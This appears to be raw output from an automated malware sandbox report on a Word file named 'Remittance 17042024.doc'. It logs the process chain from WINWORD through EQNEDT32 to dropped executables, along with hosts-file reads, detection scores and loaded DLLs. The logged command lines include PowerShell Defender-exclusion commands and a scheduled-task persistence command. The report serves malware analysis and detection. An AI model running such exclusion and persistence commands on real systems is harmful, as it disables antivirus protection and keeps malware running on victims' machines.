Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Remittance 17042024.doc	ReversingLabs: Detection: 44%
Source: Remittance 17042024.doc	Virustotal: Detection: 45%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\dzoihohj75439.scr "C:\Users\user\AppData\Roaming\dzoihohj75439.scr"
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\dzoihohj75439.scr"
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\egFUHsL.exe"
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\egFUHsL" /XML "C:\Users\user\AppData\Local\Temp\tmp871B.tmp"
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process created: C:\Users\user\AppData\Roaming\dzoihohj75439.scr "C:\Users\user\AppData\Roaming\dzoihohj75439.scr"
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process created: C:\Users\user\AppData\Roaming\dzoihohj75439.scr "C:\Users\user\AppData\Roaming\dzoihohj75439.scr"
Source: unknown	Process created: C:\Windows\System32\taskeng.exe taskeng.exe {E15E873E-836C-4FC1-A12D-690BEBE78D2E} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\egFUHsL.exe C:\Users\user\AppData\Roaming\egFUHsL.exe
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\egFUHsL.exe"
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\egFUHsL.exe"
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\egFUHsL" /XML "C:\Users\user\AppData\Local\Temp\tmp9A3D.tmp"
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process created: C:\Users\user\AppData\Roaming\egFUHsL.exe "C:\Users\user\AppData\Roaming\egFUHsL.exe"
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\dzoihohj75439.scr "C:\Users\user\AppData\Roaming\dzoihohj75439.scr"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\dzoihohj75439.scr"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\egFUHsL.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\egFUHsL" /XML "C:\Users\user\AppData\Local\Temp\tmp871B.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process created: C:\Users\user\AppData\Roaming\dzoihohj75439.scr "C:\Users\user\AppData\Roaming\dzoihohj75439.scr"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Process created: C:\Users\user\AppData\Roaming\dzoihohj75439.scr "C:\Users\user\AppData\Roaming\dzoihohj75439.scr"	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\egFUHsL.exe C:\Users\user\AppData\Roaming\egFUHsL.exe
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\egFUHsL.exe"
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\egFUHsL.exe"
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\egFUHsL" /XML "C:\Users\user\AppData\Local\Temp\tmp9A3D.tmp"
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Process created: C:\Users\user\AppData\Roaming\egFUHsL.exe "C:\Users\user\AppData\Roaming\egFUHsL.exe"

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: credssp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: wbemcomn2.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: credssp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: bcrypt.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
